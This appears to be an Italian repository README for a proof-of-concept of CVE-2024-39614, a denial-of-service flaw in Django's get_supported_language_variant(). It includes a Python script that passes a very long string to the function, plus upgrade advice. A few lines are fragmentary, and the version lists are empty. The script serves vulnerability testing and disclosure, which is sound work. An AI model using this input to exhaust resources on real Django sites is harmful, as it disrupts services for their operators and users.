
Exploit proof-of-concept per CVE-2024-39614, una vulnerabilità denial-of-service nella funzione get_supported_language_variant() di Django che interessa le versioni 5.0<5.0.7 e 4.2<4.2.14.
Questo repository contiene uno script Proof of Concept (PoC) che dimostra una vulnerabilità denial-of-service (DoS) in Django versioni 5.0 precedenti alla 5.0.7 e 4.2 precedenti alla 4.2.14. La vulnerabilità risiede nella funzione get_supported_language_variant(), che è suscettibile a un potenziale attacco DoS quando gestisce stringhe molto lunghe contenenti caratteri specifici.
CVE-ID: (In attesa)
Panoramica:
La funzione get_supported_language_variant() in Django versioni 5.0 precedenti alla 5.0.7 e 4.2 precedenti alla 4.2.14 è vulnerabile a un attacco denial-of-service. Questa funzione può essere sfruttata inviando stringhe molto lunghe contenenti caratteri specifici, il che potrebbe portare a un esaurimento delle risorse e, di conseguenza, a una condizione di denial-of-service.
Versioni Affette:
Versioni Corrette:
pip install django)Questo script dimostra come un attaccante può sfruttare la vulnerabilità inviando una stringa molto lunga alla funzione get_supported_language_variant().
Salva il seguente script come dos_poc.py ed eseguilo.
import django
from django.utils.translation import get_supported_language_variant
# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] This Django version is vulnerable to the DoS attack.")
else:
print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!' # Adjust the length and content as necessary
def test_dos_vulnerability():
try:
# Trigger the vulnerability
get_supported_language_variant(very_long_string)
print("[+] Successfully called get_supported_language_variant with a very long string.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() chiama get_supported_language_variant() con la stringa molto lunga per testare la vulnerabilità.Per mitigare questa vulnerabilità, esegui l'upgrade alle versioni corrette di Django:
Segui le istruzioni ufficiali di upgrade di Django per aggiornare la tua installazione di Django all'ultima versione sicura.
Mantenendo il tuo software aggiornato e seguendo le migliori pratiche di sicurezza, puoi prevenire vulnerabilità come questo problema DoS in Django.